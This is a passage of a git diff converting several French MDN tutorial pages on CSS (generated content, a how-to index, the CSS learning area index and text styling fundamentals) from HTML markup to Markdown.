EmbedLiveSample('Contenu_textuel', 600, 30) }}</p> +{{ EmbedLiveSample('Contenu_textuel', 600, 30) }} -<p>L'encodage d'une feuille de styles est UTF-8 par défaut mais cela peut être défini dans le lien, dans la feuille de style même ou d'autres façons. Pour plus de détails, voir <a href="https://www.w3.org/TR/CSS21/syndata.html#q23">4.4 Représentation de la feuille de style CSS</a> dans la spécification CSS.</p> +L'encodage d'une feuille de styles est UTF-8 par défaut mais cela peut être défini dans le lien, dans la feuille de style même ou d'autres façons. Pour plus de détails, voir [4.4 Représentation de la feuille de style CSS](https://www.w3.org/TR/CSS21/syndata.html#q23) dans la spécification CSS. -<p>Des caractères individuels peuvent également être spécifiés avec un échappement avec la barre oblique inversée. Ainsi, "\265B" pourra être utilisé pour générer le symbole de la reine noire aux échecs : ♛. Pour plus de détails, voir <a href="https://www.w3.org/TR/CSS21/syndata.html#q24">Référencer des caractères non représentés par l'encodage</a> et <a href="https://www.w3.org/TR/CSS21/syndata.html#q6">Caractères et casse</a> dans la spécification CSS.</p> +Des caractères individuels peuvent également être spécifiés avec un échappement avec la barre oblique inversée. Ainsi, "\265B" pourra être utilisé pour générer le symbole de la reine noire aux échecs : ♛. Pour plus de détails, voir [Référencer des caractères non représentés par l'encodage](https://www.w3.org/TR/CSS21/syndata.html#q24) et [Caractères et casse](https://www.w3.org/TR/CSS21/syndata.html#q6) dans la spécification CSS. -<h3 id="Contenu_avec_une_image">Contenu_avec_une_image</h3> +### Contenu_avec_une_image -<p>Afin d'ajouter une image avant ou après un élément, vous pouvez indiquer l'URL d'un fichier image dans la valeur de la propriété {{ cssxref("content") }}.</p> +Afin d'ajouter une image avant ou après un élément, vous pouvez indiquer l'URL d'un fichier image dans la valeur de la propriété {{ cssxref("content") }}. -<p>Cette règle ajoute un espace et une icône après chaque lien qui possède la classe <code>glossary</code> :</p> +Cette règle ajoute un espace et une icône après chaque lien qui possède la classe `glossary` : -<h4 id="HTML_2">HTML</h4> +#### HTML -<pre class="brush: html"><a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a></pre> +```html +<a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a> +``` -<h4 id="CSS_2">CSS</h4> +#### CSS -<pre class="brush: css">a.glossary::after { +```css +a.glossary::after { content: " " url("glossary-icon.gif"); -}</pre> +} +``` -<p>{{ EmbedLiveSample('Contenu_avec_une_image', 600, 40) }}</p> +{{ EmbedLiveSample('Contenu_avec_une_image', 600, 40) }} diff --git a/files/fr/learn/css/howto/index.md b/files/fr/learn/css/howto/index.md index d14cb33a16..f613014a6c 100644 --- a/files/fr/learn/css/howto/index.md +++ b/files/fr/learn/css/howto/index.md @@ -8,77 +8,64 @@ tags: translation_of: Learn/CSS/Howto original_slug: Apprendre/CSS/Comment --- -<p>Les liens suivants pointent vers des solutions aux problèmes courants que vous devrez résoudre avec CSS.</p> +Les liens suivants pointent vers des solutions aux problèmes courants que vous devrez résoudre avec CSS. -<h2 id="Scénarios_fréquents">Scénarios fréquents</h2> +## Scénarios fréquents -<h3 id="Basess">Bases</h3> +### Bases -<ul> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_fonctionnement_de_CSS#How_to_apply_your_CSS_to_your_HTML">Comment appliquer CSS au HTML</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_blancs">Comment utiliser les espaces en CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_commentaires">Comment écrire des commentaires en CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_s%C3%A9lecteurs_simples">Comment sélectionner des éléments par leur nom, leur classe ou leur ID</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs#Les_sélecteurs_d'attribut">Comment sélectionner des éléments par le nom et le contenu de l'attribut</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_pseudo-classes">Comment utiliser les pseudo-classes</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_pseudo-%C3%A9l%C3%A9ments">Comment utiliser les pseudo-éléments</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_combinateurs">Comment appliquer plusieurs sélecteurs à la même règle</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Couleurs">Comment spécifier les couleurs en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">Comment déboguer CSS dans le navigateur</a></li> -</ul> +- [Comment appliquer CSS au HTML](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_fonctionnement_de_CSS#How_to_apply_your_CSS_to_your_HTML) +- [Comment utiliser les espaces en CSS](/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_blancs) +- [Comment écrire des commentaires en CSS](/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_commentaires) +- [Comment sélectionner des éléments par leur nom, leur classe ou leur ID](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_s%C3%A9lecteurs_simples) +- [Comment sélectionner des éléments par le nom et le contenu de l'attribut](/fr/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs#Les_sélecteurs_d'attribut) +- [Comment utiliser les pseudo-classes](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_pseudo-classes) +- [Comment utiliser les pseudo-éléments](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_pseudo-%C3%A9l%C3%A9ments) +- [Comment appliquer plusieurs sélecteurs à la même règle](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Les_s%C3%A9lecteurs#Les_combinateurs) +- [Comment spécifier les couleurs en CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Values_and_units#Couleurs) +- [Comment déboguer CSS dans le navigateur](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS) -<h3 id="CSS_et_texte">CSS et texte</h3> +### CSS et texte -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte">Comment donner un style au texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_lists">Comment personnaliser une liste d'éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Styling_links">Comment donner un style aux liens</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_text/Fundamentals#Ombres_du_texte">Comment ajouter des ombres au texte</a></li> -</ul> +- [Comment donner un style au texte](/fr/docs/Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte) +- [Comment personnaliser une liste d'éléments](/fr/docs/Learn/CSS/Styling_text/Styling_lists) +- [Comment donner un style aux liens](/fr/docs/Learn/CSS/Styling_text/Styling_links) +- [Comment ajouter des ombres au texte](/fr/docs/Learn/CSS/Styling_text/Fundamentals#Ombres_du_texte) +### Boîtes et mises en page -<h3 id="Boîtes_et_mises_en_page">Boîtes et mises en page</h3> +- [Comment tailler les boîtes CSS](/fr/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties) +- [Comment contrôler le contenu débordant](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_d%C3%A9passements) +- [Comment contrôler la partie des boîtes CSS dessinées au-dessus de l'arrière-plan](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#L%27arri%C3%A8re-plan) +- [Comment définir _"inline_", _"block"_ et _"inline-block"_ ?](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_types_de_bo%C3%AEte) +- [Comment créer des boîtes fantaisies ](/fr/Apprendre/CSS/Comment/Cr%C3%A9er_de_belles_bo%C3%AEtes) (lire aussi le module [Styles pour boites](/fr/docs/Learn/CSS/Styling_boxes), généralités). +- [Comment utiliser `background-clip` pour contrôler combien de boîtes sont impactées par l'image de fond-d'écran](/fr/Apprendre/CSS/Comment/Cr%C3%A9er_de_belles_bo%C3%AEtes#Les_arri%C3%A8re-plans) +- [Comment changer complètement le modèle de boîte en utilisant `box-sizing`](/fr/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely) +- [Comment contrôler l'arrière-plan](/fr/docs/Learn/CSS/Styling_boxes/Backgrounds) +- [Comment contrôler les bordures](/fr/docs/Learn/CSS/Styling_boxes/Borders) +- [Comment donner un style à une table HTML](/fr/docs/Learn/CSS/Styling_boxes/Styling_tables) +- [Comment ajouter des ombres aux boîtes](/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows) -<ul> - <li><a href="/fr/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">Comment tailler les boîtes CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_d%C3%A9passements">Comment contrôler le contenu débordant</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#L%27arri%C3%A8re-plan">Comment contrôler la partie des boîtes CSS dessinées au-dessus de l'arrière-plan</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte#Les_types_de_bo%C3%AEte">Comment définir <em>"inline</em>", <em>"block"</em> et <em>"inline-block"</em> ?</a></li> - <li><a href="/fr/Apprendre/CSS/Comment/Cr%C3%A9er_de_belles_bo%C3%AEtes">Comment créer des boîtes fantaisies </a> (lire aussi le module <a href="/fr/docs/Learn/CSS/Styling_boxes">Styles pour boites</a>, généralités).</li> - <li><a href="/fr/Apprendre/CSS/Comment/Cr%C3%A9er_de_belles_bo%C3%AEtes#Les_arri%C3%A8re-plans">Comment utiliser <code>background-clip</code> pour contrôler combien de boîtes sont impactées par l'image de fond-d'écran</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Comment changer complètement le modèle de boîte en utilisant <code>box-sizing</code></a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Backgrounds">Comment contrôler l'arrière-plan</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Borders">Comment contrôler les bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Styling_tables">Comment donner un style à une table HTML</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">Comment ajouter des ombres aux boîtes</a></li> -</ul> +## Techniques avancées ou peu communes -<h2 id="Techniques_avancées_ou_peu_communes">Techniques avancées ou peu communes</h2> +Au-delà des concepts de base, CSS dispose de techniques de conception avancées. Dans ces articles, nous verrons les scénarios les plus difficiles auxquels vous aurez à faire face : -<p>Au-delà des concepts de base, CSS dispose de techniques de conception avancées. Dans ces articles, nous verrons les scénarios les plus difficiles auxquels vous aurez à faire face :</p> +### Général -<h3 id="Général">Général</h3> +- [Comment calculer la spécificité d'un sélecteur de CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage#Specificity) +- [Comment contrôler l'héritage en CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage#L%27h%C3%A9ritage) -<ul> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage#Specificity">Comment calculer la spécificité d'un sélecteur de CSS</a></li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage#L%27h%C3%A9ritage">Comment contrôler l'héritage en CSS</a></li> -</ul> +### Effets avancés -<h3 id="Effets_avancés">Effets avancés</h3> +- [Comment utiliser des filtres en CSS](/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters) +- [Comment utiliser les modes fusion](/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes) -<ul> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">Comment utiliser des filtres en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">Comment utiliser les modes fusion</a></li> -</ul> +### Mise en page -<h3 id="Mise_en_page">Mise en page</h3> +- [Utiliser les boîtes flexibles CSS (_flexbox_)](/fr/docs/Web/Guide/CSS/Flexible_boxes) +- [Utiliser une structure CSS avec plusieurs colonnes](/fr/docs/Web/CSS/Colonnes_CSS3 "/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts") +- [Utiliser les contenus générés par CSS](/fr/docs/CSS/Premiers_pas/Contenu) -<ul> - <li><a href="/fr/docs/Web/Guide/CSS/Flexible_boxes">Utiliser les boîtes flexibles CSS (<em>flexbox</em>)</a></li> - <li><a href="/fr/docs/Web/CSS/Colonnes_CSS3" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">Utiliser une structure CSS avec plusieurs colonnes</a></li> - <li><a href="/fr/docs/CSS/Premiers_pas/Contenu">Utiliser les contenus générés par CSS</a></li> -</ul> +## Voir aussi -<h2 id="Voir_aussi">Voir aussi</h2> - -<p><a href="/fr/docs/Web/CSS/CSS_questions_frequentes">CSS FAQ</a> — Une collection d'informations ponctuelles couvrant une variété de sujets, du débogage à l'utilisation de sélecteurs.</p> +[CSS FAQ](/fr/docs/Web/CSS/CSS_questions_frequentes) — Une collection d'informations ponctuelles couvrant une variété de sujets, du débogage à l'utilisation de sélecteurs. diff --git a/files/fr/learn/css/index.md b/files/fr/learn/css/index.md index 0d3547603f..33af4277c2 100644 --- a/files/fr/learn/css/index.md +++ b/files/fr/learn/css/index.md @@ -15,64 +15,54 @@ tags: translation_of: Learn/CSS original_slug: Apprendre/CSS --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<blockquote> -<p>Les Cascading StyleSheets — ou {{glossary("CSS")}} — (Feuilles de style en cascade) sont la première technique à apprendre après le {{glossary("HTML")}}. Alors que {{glossary("HTML")}} s'utilise pour définir la structure et la sémantique du contenu, les {{Glossary('CSS')}} sont employées pour composer et déterminer l'apparence de ce contenu. Ainsi par exemple, vous utiliserez les CSS pour modifier les polices, la couleur, la taille et l'espacement de votre contenu, pour le répartir sur plusieurs colonnes ou bien pour ajouter des animations et autres fonctionnalités décoratives.</p> -</blockquote> +> Les Cascading StyleSheets — ou {{glossary("CSS")}} — (Feuilles de style en cascade) sont la première technique à apprendre après le {{glossary("HTML")}}. Alors que {{glossary("HTML")}} s'utilise pour définir la structure et la sémantique du contenu, les {{Glossary('CSS')}} sont employées pour composer et déterminer l'apparence de ce contenu. Ainsi par exemple, vous utiliserez les CSS pour modifier les polices, la couleur, la taille et l'espacement de votre contenu, pour le répartir sur plusieurs colonnes ou bien pour ajouter des animations et autres fonctionnalités décoratives. -<h2 id="Parcours_dapprentissage">Parcours d'apprentissage</h2> +## Parcours d'apprentissage -<p>Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module <a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML">Introduction au HTML —</a> vous pourrez ensuite en apprendre davantage au sujet :</p> +Vous devriez vraiment apprendre les bases du HTML avant d'essayer n'importe quelles CSS. Nous vous recommandons de travailler d'abord notre module [Introduction au HTML —](/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML) vous pourrez ensuite en apprendre davantage au sujet : -<ul> - <li>des CSS, en commençant avec le module <a href="/fr/docs/Learn/CSS/First_steps">Introduction aux CSS</a></li> - <li>des <a href="/fr/Learn/HTML#Modules">Modules HTML</a> plus avancés</li> - <li>du <a href="/fr/docs/Learn/JavaScript">JavaScript</a> et sur la manière de l'utiliser pour ajouter des fonctionnalités dynamiques aux pages web.</li> -</ul> +- des CSS, en commençant avec le module [Introduction aux CSS](/fr/docs/Learn/CSS/First_steps) +- des [Modules HTML](/fr/Learn/HTML#Modules) plus avancés +- du [JavaScript](/fr/docs/Learn/JavaScript) et sur la manière de l'utiliser pour ajouter des fonctionnalités dynamiques aux pages web. -<p>Une fois compris les principes fondamentaux du HTML, nous vous recommandons d'apprendre HTML et CSS simultanément, en vous déplaçant d'un sujet à l'autre. Car le HTML est beaucoup plus intéressant et beaucoup plus amusant à apprendre en appliquant les CSS : vous ne pouvez pas apprendre réellement les CSS sans connaître le HTML.</p> +Une fois compris les principes fondamentaux du HTML, nous vous recommandons d'apprendre HTML et CSS simultanément, en vous déplaçant d'un sujet à l'autre. Car le HTML est beaucoup plus intéressant et beaucoup plus amusant à apprendre en appliquant les CSS : vous ne pouvez pas apprendre réellement les CSS sans connaître le HTML. -<p>Avant de commencer cet article, vous devez aussi avoir, au minimum, une connaissance de base de l'utilisation de l'ordinateur et de celle, passive, du Web (c'est-à-dire, faire des recherches et consommer du contenu). Vous devez aussi avoir paramétré un environnement de travail de base tel que détaillé dans <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">Installer les logiciels de base</a> et avoir compris comment créer et gérer des fichiers, comme indiqué dans Gérer des fichiers — les deux font partie de notre module Débuter avec le Web, rédigé pour les débutants.</p> +Avant de commencer cet article, vous devez aussi avoir, au minimum, une connaissance de base de l'utilisation de l'ordinateur et de celle, passive, du Web (c'est-à-dire, faire des recherches et consommer du contenu). Vous devez aussi avoir paramétré un environnement de travail de base tel que détaillé dans [Installer les logiciels de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et avoir compris comment créer et gérer des fichiers, comme indiqué dans Gérer des fichiers — les deux font partie de notre module Débuter avec le Web, rédigé pour les débutants. -<p>Il est recommandé de travailler par le biais de Débuter avec le web avant d'essayer ce sujet, cependant, ce n'est pas absolument nécessaire : une grande partie de ce qui est couvert dans l'article de base CSS est également couvert dans notre module Introduction aux CSS, bien qu'avec beaucoup plus de détails.</p> +Il est recommandé de travailler par le biais de Débuter avec le web avant d'essayer ce sujet, cependant, ce n'est pas absolument nécessaire : une grande partie de ce qui est couvert dans l'article de base CSS est également couvert dans notre module Introduction aux CSS, bien qu'avec beaucoup plus de détails. -<h2 id="Modules">Modules</h2> +## Modules -<p>Cet article contient les modules suivants, dans l'ordre suggéré pour le parcours. Vous devez vraiment commencer par le premier.</p> +Cet article contient les modules suivants, dans l'ordre suggéré pour le parcours. Vous devez vraiment commencer par le premier. -<dl> - <dt><a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction aux CSS</a></dt> - <dd>Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS.</dd> - <dt><a href="/fr/Apprendre/CSS/styliser_boites">Styliser les boîtes</a></dt> - <dd>Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes.</dd> -</dl> +- [Introduction aux CSS](/fr/Apprendre/CSS/Introduction_à_CSS) + - : Ce module vous enseigne les bases du fonctionnement des CSS ; il comprend les sélecteurs et les propriétés, l'écriture des règles des CSS, l'application des CSS au HTML, la définition de la longueur, de la couleur et d'autres unités avec les CSS, la cascade et l'héritage, les bases du modèle de boîte et le débogage du CSS. +- [Styliser les boîtes](/fr/Apprendre/CSS/styliser_boites) + - : Ensuite, nous examinons la stylisation des boîtes : une des étapes fondamentales de la composition d'une page Web. Dans ce module, nous récapitulons les modèles de boîtes, puis nous nous penchons sur le contrôle de leur disposition en définissant le remplissage, les bordures et les marges, la personnalisation des couleurs d'arrière-plan, les images et autres caractéristiques, les caractéristiques de fantaisie telles que filtres et ombrages des boîtes. -<dl> - <dt><a href="/fr/docs/Learn/CSS/Styling_text">Composer du texte</a></dt> - <dd>Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens.</dd> - <dt></dt> - <dt><a href="/fr/Apprendre/CSS/CSS_layout">Mise en page avec les CSS</a></dt> - <dd> - <p>À ce stade, ont déjà été examinés les principes fondamentaux des CSS, la façon de composer du texte, de styliser et de manipuler les boîtes où se trouve le contenu. Maintenant, il est temps de voir comment placer les boîtes au bon endroit dans la fenêtre et l'une par rapport à l'autre. Maintenant que sont couvertes les conditions préalables nécessaires, vous pouvez entrer plus avant dans les mises en page avec les CSS, regarder les divers paramètres d'affichage, les méthodes traditionnelles de mise en page y compris flottement et positionnement ainsi que les nouveaux outils de mises en page tape à l'œil, comme flexbox.</p> - </dd> -</dl> +<!----> -<h2 id="Résolution_de_problèmes_courants_avec_les_CSS">Résolution de problèmes courants avec les CSS</h2> +- [Composer du texte](/fr/docs/Learn/CSS/Styling_text) + - : Ici, nous examinons les principes fondamentaux pour composer du texte : réglage de la police, graisse et italique, espacement des lignes et des lettres, les ombrage et autres caractéristiques. Nous complétons le module en appliquant des polices personnalisées à la page, ainsi que des listes de styles et des liens. +- [Mise en page avec les CSS](/fr/Apprendre/CSS/CSS_layout) -<p><a href="/fr/docs/Learn/CSS/Howto">Apprendre à utiliser CSS pour résoudre des problèmes</a> fournit des liens vers des sections dont les contenus expliquent comment utiliser les CSS pour résoudre des problèmes banals lors de la création d'une page Web.</p> + - : À ce stade, ont déjà été examinés les principes fondamentaux des CSS, la façon de composer du texte, de styliser et de manipuler les boîtes où se trouve le contenu. Maintenant, il est temps de voir comment placer les boîtes au bon endroit dans la fenêtre et l'une par rapport à l'autre. Maintenant que sont couvertes les conditions préalables nécessaires, vous pouvez entrer plus avant dans les mises en page avec les CSS, regarder les divers paramètres d'affichage, les méthodes traditionnelles de mise en page y compris flottement et positionnement ainsi que les nouveaux outils de mises en page tape à l'œil, comme flexbox. -<p>Au début, ce que vous ferez le plus couramment sera d'appliquer des couleurs aux éléments HTML et à leurs arrière-plans, de changer la taille, la forme et la position des éléments et d'ajouter ou définir des bordures pour les éléments. Mais il n'y a pas grand-chose que vous ne puissiez pas faire une fois que vous avez une solide compréhension des bases des CSS. L'un des meilleurs aspects de l'apprentissage des CSS est que, une fois acquis les principes fondamentaux, vous avez habituellement une bonne idée de ce qui peut et ne peut pas être fait, même si vous ne savez pas encore comment réellement le faire !</p> +## Résolution de problèmes courants avec les CSS -<h2 id="Le_CSS_est_étrange">"Le CSS est étrange"</h2> +[Apprendre à utiliser CSS pour résoudre des problèmes](/fr/docs/Learn/CSS/Howto) fournit des liens vers des sections dont les contenus expliquent comment utiliser les CSS pour résoudre des problèmes banals lors de la création d'une page Web. -<p>Le CSS fonctionne un peu différemment de la plupart des langages de programmation et des outils de conception que vous rencontrerez. Pourquoi fonctionne-t-il de cette façon ? Dans la vidéo suivante, Miriam Suzanne explique pourquoi le CSS fonctionne comme il le fait, et pourquoi il a évolué comme il l'a fait :</p> +Au début, ce que vous ferez le plus couramment sera d'appliquer des couleurs aux éléments HTML et à leurs arrière-plans, de changer la taille, la forme et la position des éléments et d'ajouter ou définir des bordures pour les éléments. Mais il n'y a pas grand-chose que vous ne puissiez pas faire une fois que vous avez une solide compréhension des bases des CSS. L'un des meilleurs aspects de l'apprentissage des CSS est que, une fois acquis les principes fondamentaux, vous avez habituellement une bonne idée de ce qui peut et ne peut pas être fait, même si vous ne savez pas encore comment réellement le faire ! -<p>{{EmbedYouTube("aHUtMbJw8iA")}}</p> +## "Le CSS est étrange" -<h2 id="Voir_aussi">Voir aussi</h2> +Le CSS fonctionne un peu différemment de la plupart des langages de programmation et des outils de conception que vous rencontrerez. Pourquoi fonctionne-t-il de cette façon ? Dans la vidéo suivante, Miriam Suzanne explique pourquoi le CSS fonctionne comme il le fait, et pourquoi il a évolué comme il l'a fait : -<dl> - <dt><a href="/fr/docs/Web/CSS">Les CSS sur MDN</a></dt> - <dd>Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit.</dd> -</dl> +{{EmbedYouTube("aHUtMbJw8iA")}} + +## Voir aussi + +- [Les CSS sur MDN](/fr/docs/Web/CSS) + - : Le portail pour la documentation des CSS sur MDN : vous y trouverez une documentation de référence détaillée pour toutes les fonctionnalités du langage des CSS. Vous voulez connaître toutes les valeurs qu'une propriété peut prendre ? C'est le bon endroit. diff --git a/files/fr/learn/css/styling_text/fundamentals/index.md b/files/fr/learn/css/styling_text/fundamentals/index.md index 1aa02da170..c56023c1f9 100644 --- a/files/fr/learn/css/styling_text/fundamentals/index.md +++ b/files/fr/learn/css/styling_text/fundamentals/index.md @@ -12,284 +12,233 @@ tags: translation_of: Learn/CSS/Styling_text/Fundamentals original_slug: Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}} -<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div> - -<p>Dans cet article, nous allons commencer le voyage vers la maîtrise des styles du texte avec {{glossary("CSS")}}. Nous passerons en revue les principes de base de mise en forme du texte, y compris la graisse, la famille et le style de police, les codes d'abréviation, l'alignement du texte et autres effets, ainsi que l'espacement des lignes et des lettres.</p> +Dans cet article, nous allons commencer le voyage vers la maîtrise des styles du texte avec {{glossary("CSS")}}. Nous passerons en revue les principes de base de mise en forme du texte, y compris la graisse, la famille et le style de police, les codes d'abréviation, l'alignement du texte et autres effets, ainsi que l'espacement des lignes et des lettres. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, les bases HTML (étudiées dans l'<a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>), les bases CSS (étudiées dans <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction à CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre les techniques et propriétés fondamentales nécessaires pour composer du texte sur les pages web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances informatiques de base, les bases HTML (étudiées dans l'<a + href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >), les bases CSS (étudiées dans + <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction à CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre les techniques et propriétés fondamentales nécessaires pour + composer du texte sur les pages web. + </td> + </tr> + </tbody> </table> -<h2 id="En_quoi_consiste_la_mise_en_forme_du_texte_avec_CSS">En quoi consiste la mise en forme du texte avec CSS ?</h2> +## En quoi consiste la mise en forme du texte avec CSS ? -<p>Comme vous l'avez déjà vu dans votre apprentissage de HTML et CSS, le texte d'un élément est placé à l'intérieur de la boîte de contenu de cet élément. Il débute en haut à gauche de cette zone (ou en haut à droite, dans le cas des contenus en langues s'écrivant de droite à gauche) et se poursuit vers la fin de la ligne. Arrivé en bout de ligne, il descend à la ligne suivante et continue, puis va à la ligne suivante, jusqu'à ce que tout le contenu ait été placé. Les contenus textuels se comportent comme une suite d'éléments en ligne placés les uns à côté des autres. Aucun saut de ligne n'est créé avant que la fin de la ligne soit atteinte, sauf si vous forcez manuellement le saut de ligne avec l'élément {{htmlelement("br")}}.</p> +Comme vous l'avez déjà vu dans votre apprentissage de HTML et CSS, le texte d'un élément est placé à l'intérieur de la boîte de contenu de cet élément. Il débute en haut à gauche de cette zone (ou en haut à droite, dans le cas des contenus en langues s'écrivant de droite à gauche) et se poursuit vers la fin de la ligne. Arrivé en bout de ligne, il descend à la ligne suivante et continue, puis va à la ligne suivante, jusqu'à ce que tout le contenu ait été placé. Les contenus textuels se comportent comme une suite d'éléments en ligne placés les uns à côté des autres. Aucun saut de ligne n'est créé avant que la fin de la ligne soit atteinte, sauf si vous forcez manuellement le saut de ligne avec l'élément {{htmlelement("br")}}. -<div class="note"> -<p><strong>Note :</strong> si le paragraphe ci‑dessus vous paraît confus, pas de problème — revenez en arrière et revoyez l'article sur la théorie du <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Modèle de boîte</a> avant de poursuivre.</p> -</div> +> **Note :** si le paragraphe ci‑dessus vous paraît confus, pas de problème — revenez en arrière et revoyez l'article sur la théorie du [Modèle de boîte](/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte) avant de poursuivre. -<p>Les propriétés CSS utilisées pour le style de texte appartiennent généralement à deux catégories, que nous verrons séparément dans cet article :</p> +Les propriétés CSS utilisées pour le style de texte appartiennent généralement à deux catégories, que nous verrons séparément dans cet article : -<ul> - <li><strong>Styles de la police de caractères </strong>: ces propriétés concernent la fonte appliquée au texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc.</li> - <li><strong>Styles de composition du texte </strong>: ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de 